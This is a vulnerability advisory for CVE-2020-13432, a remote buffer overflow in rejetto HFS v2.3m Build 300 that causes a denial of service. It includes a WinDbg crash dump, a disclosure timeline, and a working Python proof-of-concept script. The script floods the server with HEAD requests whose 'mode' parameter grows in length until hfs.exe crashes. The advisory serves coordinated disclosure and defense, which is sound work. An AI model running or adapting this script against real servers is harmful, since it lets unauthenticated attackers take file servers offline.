[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/HFS-HTTP-FILE-SERVER-v2.3-REMOTE-BUFFER-OVERFLOW-DoS.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec
[Vendor]
www.rejetto.com
[Product]
HFS Http File Server v2.3m Build 300
[Vulnerability Type]
Remote Buffer Overflow (DoS)
[CVE Reference]
CVE-2020-13432
[Security Issue]
rejetto HFS (aka HTTP File Server) v2.3m Build #300, when
virtual
files or folders are used, allows remote attackers to trigger
an
invalid-pointer write access violation via concurrent HTTP
requests
with a long URI or long HTTP headers like Cookie, User-Agent
etc.
Remote unauthenticated attackers can send concurrent HTTP
requests
using an incrementing or specific payload range of junk characters
for
values in the URL parameters or HTTP headers sent to the server.
This
results in hfs.exe server crash from an invalid pointer write
access
violation.
Requirements:
hfs.exe must have at least one saved virtual file or folder
present.
Test using a remote IP and NOT from the same machine
(localhost).
Dump...
(e4c.3a8): Access violation - code c0000005 (first/second chance
not available)
For analysis of this file, run !analyze -v
WARNING: Stack overflow detected. The unwound frames are extracted
from outside normal stack bounds.
eax=000a1390 ebx=000a138c ecx=006eb188 edx=001b0000 esi=00000000
edi=00000002
eip=777ef8b4 esp=000a0e0c ebp=000a12cc iopl=0 nv up ei pl nz na pe
nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206
ntdll!RtlpResolveAssemblyStorageMapEntry+0x18:
777ef8b4 53 push ebx
0:000> !load winext/msec
0:000> !exploitable
WARNING: Stack overflow detected. The unwound frames are extracted
from outside normal stack bounds.
*** WARNING: Unable to verify checksum for hfs.exe
Exploitability Classification: EXPLOITABLE
Recommended Bug Title: Exploitable - User Mode Write AV starting at
ntdll!RtlpResolveAssemblyStorageMapEntry+0x0000000000000018
(Hash=0x7a29717c.0x325e6a71)
PROCESS_NAME: hfs.exe
FOLLOWUP_IP:
hfs+8fad7
0048fad7 8945f0 mov dword ptr [ebp-10h],eax
WRITE_ADDRESS: 000a0e08
[References]
https://github.com/rejetto/hfs2/releases/tag/v2.4-rc01
[Exploit/POC]
from socket import *
import time,sys
#HFS HTTP File Server v2.3m build 300.
#Vendor: www.rejetto.com
#Remote Remote Buffer Overflow DoS
#Note: hfs.exe must have at least one saved virtual file or folder
on the target
#test using a remote IP and not from the same machine.
#Discovery: hyp3rlinx
#hyp3rlinx.altervista.org
#ISR: ApparitionSec
#=========================================================================
res=""
once=0
cnt=0
max_requests=1666
def hfs_dos():
global ip,port,length,res,once,cnt,max_requests
cnt+=1
length += 1
payload = "A"*length
try:
s=socket(AF_INET, SOCK_STREAM)
s.settimeout(2)
s.connect((ip,port))
##bof ="HEAD / HTTP/1.1\r\nHost: "+ip+"Cookie:
"+payload+"\r\n\r\n"
bof ="HEAD /?mode="+payload+" HTTP/1.1\r\nHost: "+ip+"\r\n\r\n"
s.send(bof.encode("utf-8"))
if once==0:
once+=1
res = s.recv(128)
if res != "":
print("Targets up please wait...")
if "HFS 2.3m" not in str(res):
print("[!] Non vulnerable HFS version, exiting :(")
exit()
except Exception as e:
if e != None:
if str(e).find("timed out")!=-1:
if res=="":
print("[!] Target is not up or behind a firewall? :(")
exit()
else:
print("[!] Done!")
exit()
s.close()
if cnt == max_requests:
return False
return True
def msg():
print("HFS HTTP File Server v2.3m build 300.")
print("Unauthenticated Remote Buffer Overflow (DoS - PoC)")
print("Virtual HFS saved file or folder required.")
print("Run from a different machine (IP) than the target.")
print("By Hyp3rlinx - ApparitionSec\n")
if __name__=="__main__":
length=3
if len(sys.argv) != 3:
msg()
print("Usage: <hfs.exe Server>, <Port (usually
8080)>")
exit()
ip = sys.argv[1]
port = int(sys.argv[2])
msg()
while True:
if not hfs_dos():
print("[!] Failed, non vuln version or no virtual files exist
:(")
break
[POC Video URL]
https://www.youtube.com/watch?v=qQ-EawfXuWY
[Network Access]
Remote
[Severity]
High
[Disclosure Timeline]
Vendor Notification: May 18, 2020
Vendor reply: May 18, 2020
Vendor confirm vulnerability: May 19, 2020
Vendor creates fix: May 20, 2020
Vendor released new version 2.4 : June 7, 2020
June 8, 2020 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is"
with no warranties or guarantees of fitness of use or
otherwise.
Permission is hereby granted for the redistribution of this
advisory, provided that it is not altered except by reformatting
it, and
that due credit is given. Permission is explicitly given for
insertion in vulnerability databases and similar, provided that due
credit
is given to the author. The author is not responsible for any
misuse of the information contained herein and accepts no
responsibility
for any damage caused by the use or misuse of this information. The
author prohibits any malicious use of security related
information
or exploits by the author or elsewhere. All content (c).
hyp3rlinx
